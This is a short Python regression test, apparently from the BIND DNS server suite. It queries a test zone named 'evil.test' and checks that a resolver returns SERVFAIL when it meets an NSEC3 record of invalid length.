# file, you can obtain one at https://mozilla.org/MPL/2.0/.
|
||||
#
|
||||
# See the COPYRIGHT file distributed with this work for additional
|
||||
# information regarding copyright ownership.
|
||||
|
||||
# pylint: disable=redefined-outer-name,unused-import
|
||||
|
||||
import dns.message
|
||||
|
||||
import isctest
|
||||
|
||||
ZONES = {
|
||||
"evil.test",
|
||||
}
|
||||
|
||||
|
||||
def bootstrap():
|
||||
return {
|
||||
"zones": ZONES,
|
||||
}
|
||||
|
||||
|
||||
def test_nsec3_invalid_length():
|
||||
msg = dns.message.make_query("xxx.evil.test", "A")
|
||||
res = isctest.query.udp(msg, "10.53.0.5")
|
||||
isctest.check.servfail(res)
|
||||
Loading…
Reference in a new issue